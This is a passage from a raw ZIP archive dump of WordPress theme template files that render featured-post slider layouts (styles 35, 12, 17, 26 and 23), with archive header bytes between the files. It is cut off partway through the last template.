$slider_title_length = get_theme_mod( 'penci_slider_title_length' ) ? get_theme_mod( 'penci_slider_title_length' ) : 12;
$image_size          = get_theme_mod( 'featured_slider_imgsize' ) ? get_theme_mod( 'featured_slider_imgsize' ) : 'penci-thumb-vertical';
$image_size_big      = get_theme_mod( 'featured_slider_imgbig' ) ? get_theme_mod( 'featured_slider_imgbig' ) : 'penci-slider-thumb';

	$post_thumb_msize = get_theme_mod( 'featured_slider_imgsize_mobile' ) ? get_theme_mod( 'featured_slider_imgsize_mobile' ) : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$thumb = $image_size;
				if ( ( $i % 3 == 1 ) && ! penci_is_mobile() ): $thumb = $image_size_big; endif;
				?>
                <div class="penci-item-mag penci-item-<?php echo( $i % 3 ); ?>">
	                <?php do_action( 'penci_bookmark_post' ); ?>
					<?php if ( ! get_theme_mod( 'penci_disable_lazyload_slider' ) ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(),$thumb,$post_thumb_msize ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), penci_is_mobile() ? $post_thumb_msize : $thumb ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>
                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! get_theme_mod( 'penci_featured_slider_icons' ) && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>"
                               class="overlay-icon-format <?php if ( $i % 3 == 1 ): echo ' lager-size-icon'; endif; ?>">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( get_theme_mod( 'penci_featured_meta_date' ) ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( $i % 3 == 1 || get_theme_mod( 'penci_featured_show_categories' ) ): ?>
									<?php if ( ! get_theme_mod( 'penci_featured_hide_categories' ) ): ?>
                                        <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
									<?php endif; ?>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) || ! get_theme_mod( 'penci_featured_meta_date' ) || get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                    <div class="feat-meta">
										<?php if ( get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! get_theme_mod( 'penci_featured_meta_date' ) ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) ): ?>
                                            <span class="feat-comments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( $i % 3 == 0 && $i > 1 && $i < $num_posts ): echo '</div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     /w\o      featured_slider/style-35.phpnu [        <?php
/**
 * Template part for Slider Style 35
 */

$feat_query = penci_get_query_featured_slider();
if ( ! $feat_query ) {
	return;
}
$slider_title_length = get_theme_mod( 'penci_slider_title_length' ) ? get_theme_mod( 'penci_slider_title_length' ) : 12;
$image_size          = get_theme_mod( 'featured_slider_imgsize' ) ? get_theme_mod( 'featured_slider_imgsize' ) : 'penci-slider-full-thumb';

	$post_thumb_msize = get_theme_mod( 'featured_slider_imgsize_mobile' ) ? get_theme_mod( 'featured_slider_imgsize_mobile' ) : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>
    <div class="item swiper-slide swiper-mark-item">
	    <?php do_action( 'penci_bookmark_post' ); ?>
		<?php if ( ! get_theme_mod( 'penci_disable_lazyload_slider' ) ) { ?>
            <div class="penci-swiper-mask penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
               data-bgset="<?php echo penci_image_srcset( get_the_ID(), $image_size,$post_thumb_msize ); ?>"
               href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
		<?php } else { ?>
            <div class="penci-swiper-mask penci-image-holder"
               style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), penci_is_mobile() ? $post_thumb_msize : $image_size ); ?>');"
               href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
		<?php } ?>
		<?php if ( ! get_theme_mod( 'penci_featured_center_box' ) ): ?>
            <div class="penci-featured-content-right">
                <div class="feat-text-right">
					<?php if ( ! get_theme_mod( 'penci_featured_hide_categories' ) ): ?>
                        <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
					<?php endif; ?>
                    <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                    </h3>
					<?php if ( ( get_the_excerpt() && ! get_theme_mod( 'penci_featured_meta_excerpt' ) ) || ! get_theme_mod( 'penci_featured_meta_comment' ) || ! get_theme_mod( 'penci_featured_meta_date' ) ): ?>
                        <div class="featured-content-excerpt">
							<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) || ! get_theme_mod( 'penci_featured_meta_date' ) || get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                <div class="feat-meta">
									<?php if ( get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                        <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                    href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
									<?php endif; ?>
									<?php if ( ! get_theme_mod( 'penci_featured_meta_date' ) ): ?>
                                        <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
									<?php endif; ?>
									<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) ): ?>
                                        <span class="feat-comments"><a
                                                    href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
									<?php endif; ?>
									<?php do_action( 'penci_extra_meta' ); ?>
                                </div>
							<?php endif; ?>
							<?php if ( get_the_excerpt() && ! get_theme_mod( 'penci_featured_meta_excerpt' ) ): ?>
								<?php 
								if( get_theme_mod( 'penci_excerptcharac' ) ){
									the_excerpt();
								} else {
									$excerpt_length = get_theme_mod( 'penci_post_excerpt_length', 30 );
									penci_the_excerpt( $excerpt_length );
								}
								?>
							<?php endif; ?>
                        </div>
					<?php endif; ?>
                    <div class="penci-featured-slider-button">
                        <a href="<?php the_permalink() ?>"><?php echo penci_get_setting( 'penci_trans_read_more' ); ?></a>
                    </div>
                </div>
            </div>
		<?php endif; ?>
    </div>
    </div>
<?php endwhile;
	wp_reset_postdata(); endif; ?>
PK     /w\A      featured_slider/style-12.phpnu [        <?php
/**
 * Template part for Slider Style 12
 */

$feat_query = penci_get_query_featured_slider();
if ( ! $feat_query ) {
	return;
}
$slider_title_length = get_theme_mod( 'penci_slider_title_length' ) ? get_theme_mod( 'penci_slider_title_length' ) : 12;
$image_size          = get_theme_mod( 'featured_slider_imgsize' ) ? get_theme_mod( 'featured_slider_imgsize' ) : 'penci-thumb';

	$post_thumb_msize = get_theme_mod( 'featured_slider_imgsize_mobile' ) ? get_theme_mod( 'featured_slider_imgsize_mobile' ) : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : ?>
	<?php $i   = 1;
	$num_posts = $feat_query->post_count;
	while ( $feat_query->have_posts() ) : $feat_query->the_post();
		?>
        <div class="item swiper-slide">
            <div class="wrapper-item wrapper-item-classess">
                <div class="penci-item-mag penci-item-<?php echo( $i % 2 ); ?>">
	                <?php do_action( 'penci_bookmark_post' ); ?>
					<?php if ( ! get_theme_mod( 'penci_disable_lazyload_slider' ) ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(),$image_size,$post_thumb_msize ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), penci_is_mobile() ? $post_thumb_msize : $image_size ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>
                    <div class="penci-slide-overlay penci-slider7-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! get_theme_mod( 'penci_featured_slider_icons' ) && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>" class="overlay-icon-format lager-size-icon">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( get_theme_mod( 'penci_featured_meta_date' ) ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ! get_theme_mod( 'penci_featured_hide_categories' ) && get_theme_mod( 'penci_featured_show_categories' ) ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) || ! get_theme_mod( 'penci_featured_meta_date' ) || get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                    <div class="feat-meta">
										<?php if ( get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! get_theme_mod( 'penci_featured_meta_date' ) ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) ): ?>
                                            <span class="feat-comments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
		<?php $i ++; endwhile;
	wp_reset_postdata(); ?>
<?php endif; ?>
PK     /w\s      featured_slider/style-17.phpnu [        <?php
/**
 * Template part for Slider Style 17
 */

$feat_query = penci_get_query_featured_slider();
if ( ! $feat_query ) {
	return;
}
$slider_title_length = get_theme_mod( 'penci_slider_title_length' ) ? get_theme_mod( 'penci_slider_title_length' ) : 12;
$image_size          = get_theme_mod( 'featured_slider_imgsize' ) ? get_theme_mod( 'featured_slider_imgsize' ) : 'penci-thumb';
$image_size_big      = get_theme_mod( 'featured_slider_imgbig' ) ? get_theme_mod( 'featured_slider_imgbig' ) : 'penci-magazine-slider';

	$image_size_mobile = get_theme_mod( 'featured_slider_imgsize_mobile' ) ? get_theme_mod( 'featured_slider_imgsize_mobile' ) : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$thumb = $image_size;
                $bgset = penci_image_srcset( get_the_ID(),$thumb,$image_size_mobile );
				if ( $i % 5 == 3 ) {
                    $bgset = penci_image_srcset( get_the_ID(),$image_size_big,$image_size_mobile );
                }
				?>

				<?php if ( $i % 5 == 1 ): ?>
                    <div class="penci-slider17-mag-item penci-slide17-item-<?php echo( $i % 5 ); ?>">
				<?php endif; ?>

                <div class="penci-item-mag penci-item-<?php echo( $i % 5 ); ?>">
	                <?php do_action( 'penci_bookmark_post' ); ?>
					<?php if ( ! get_theme_mod( 'penci_disable_lazyload_slider' ) ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo $bgset; ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), penci_is_mobile() ? $image_size_mobile : $thumb ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>
                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! get_theme_mod( 'penci_featured_slider_icons' ) && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>"
                               class="overlay-icon-format <?php if ( $i % 5 == 3 ): echo ' lager-size-icon'; endif; ?>">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( get_theme_mod( 'penci_featured_meta_date' ) ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ( $i % 5 == 3 || get_theme_mod( 'penci_featured_show_categories' ) ) && ! get_theme_mod( 'penci_featured_hide_categories' ) ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) || ! get_theme_mod( 'penci_featured_meta_date' ) || get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                    <div class="feat-meta">
										<?php if ( get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! get_theme_mod( 'penci_featured_meta_date' ) ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) ): ?>
                                            <span class="feat-comments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( $i % 5 == 2 || $i % 5 == 3 ): ?>
                    </div><div class="penci-slider17-mag-item penci-slide17-item-<?php echo( $i % 5 ); ?>">
				<?php endif; ?>

				<?php if ( $i % 5 == 0 && $i > 1 && $i < $num_posts ): echo '</div></div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php if ( $i == $num_posts ): ?>
                    </div>
				<?php endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     /w\|      featured_slider/style-26.phpnu [        <?php
/**
 * Template part for Slider Style 26
 */

$feat_query = penci_get_query_featured_slider();
if ( ! $feat_query ) {
	return;
}
$slider_title_length = get_theme_mod( 'penci_slider_title_length' ) ? get_theme_mod( 'penci_slider_title_length' ) : 12;
$image_size          = get_theme_mod( 'featured_slider_imgsize' ) ? get_theme_mod( 'featured_slider_imgsize' ) : 'penci-thumb';
$image_size_big      = get_theme_mod( 'featured_slider_imgbig' ) ? get_theme_mod( 'featured_slider_imgbig' ) : 'penci-thumb-square';

$image_msize = get_theme_mod( 'featured_slider_imgsize_mobile' ) ? get_theme_mod( 'featured_slider_imgsize_mobile' ) : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$thumb = $image_size;
				if ( $i % 5 == 1 && ! penci_is_mobile() ): $thumb = $image_size_big; endif;
				$sizep = 'small';
				if ( $i % 5 == 1 ): $sizep = 'normal'; endif;
				?>
                <div class="penci-item-mag penci-item-<?php echo( $i % 5 ); ?>">
					<?php do_action( 'penci_bookmark_post', get_the_ID(), $sizep ); ?>
					<?php if ( ! get_theme_mod( 'penci_disable_lazyload_slider' ) ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(), $thumb, $image_msize ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), penci_is_mobile() ? $image_msize : $thumb ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>
                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! get_theme_mod( 'penci_featured_slider_icons' ) && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>"
                               class="overlay-icon-format<?php if ( $i % 5 == 1 ): echo ' lager-size-icon'; endif; ?>">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( get_theme_mod( 'penci_featured_meta_date' ) ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ( $i % 5 == 1 || get_theme_mod( 'penci_featured_show_categories' ) ) && ! get_theme_mod( 'penci_featured_hide_categories' ) ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) || ! get_theme_mod( 'penci_featured_meta_date' ) || get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                    <div class="feat-meta">
										<?php if ( get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! get_theme_mod( 'penci_featured_meta_date' ) ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) ): ?>
                                            <span class="feat-comments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( $i % 5 == 0 && $i > 1 && $i < $num_posts ): echo '</div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     /w\"O      featured_slider/style-23.phpnu [        <?php
/**
 * Template part for Slider Style 23
 */

$feat_query = penci_get_query_featured_slider();
if ( ! $feat_query ) {
	return;
}
$slider_title_length = get_theme_mod( 'penci_slider_title_length' ) ? get_theme_mod( 'penci_slider_title_length' ) : 12;
$image_size          = get_theme_mod( 'featured_slider_imgsize' ) ? get_theme_mod( 'featured_slider_imgsize' ) : 'penci-thumb';
$image_size_big      = get_theme_mod( 'featured_slider_imgbig' ) ? get_theme_mod( 'featured_slider_imgbig' ) : 'penci-magazine-slider';

	$image_size_mobile = get_theme_mod( 'featured_slider_imgsize_mobile' ) ? get_theme_mod( 'featured_slider_imgsize_mobile' ) : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$thumb = $image_size;
				if ( ( $i % 6 == 1 || $i % 6 == 2 ) && ! penci_is_mobile() ): $thumb = $image_size_big; endif;
				$sizep = 'small';
				if ( $i % 6 == 1 || $i % 6 == 2 ): $sizep = 'normal'; endif;
				?>
                <div class="penci-item-mag penci-item-<?php echo( $i % 6 ); ?>">
	                <?php do_action( 'penci_bookmark_post',get_the_ID(),$sizep ); ?>
					<?php if ( ! get_theme_mod( 'penci_disable_lazyload_slider' ) ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(),$thumb,$image_size_mobile ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), penci_is_mobile() ? $image_size_mobile : $thumb ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>
                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! get_theme_mod( 'penci_featured_slider_icons' ) && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>"
                               class="overlay-icon-format <?php if ( $i % 6 == 1 || $i % 6 == 2 ): echo ' lager-size-icon'; endif; ?>">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( get_theme_mod( 'penci_featured_meta_date' ) ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ! get_theme_mod( 'penci_featured_hide_categories' ) && get_theme_mod( 'penci_featured_show_categories' ) ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( $i % 6 == 1 || $i % 6 == 2 ): ?>
									<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) || ! get_theme_mod( 'penci_featured_meta_date' ) || get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                        <div class="feat-meta">
											<?php if ( get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                                <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                            href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
											<?php endif; ?>
											<?php if ( ! get_theme_mod( 'penci_featured_meta_date' ) ): ?>
                                                <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
											<?php endif; ?>
											<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) ): ?>
                                                <span class="feat-comments"><a
                                                            href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
											<?php endif; ?>
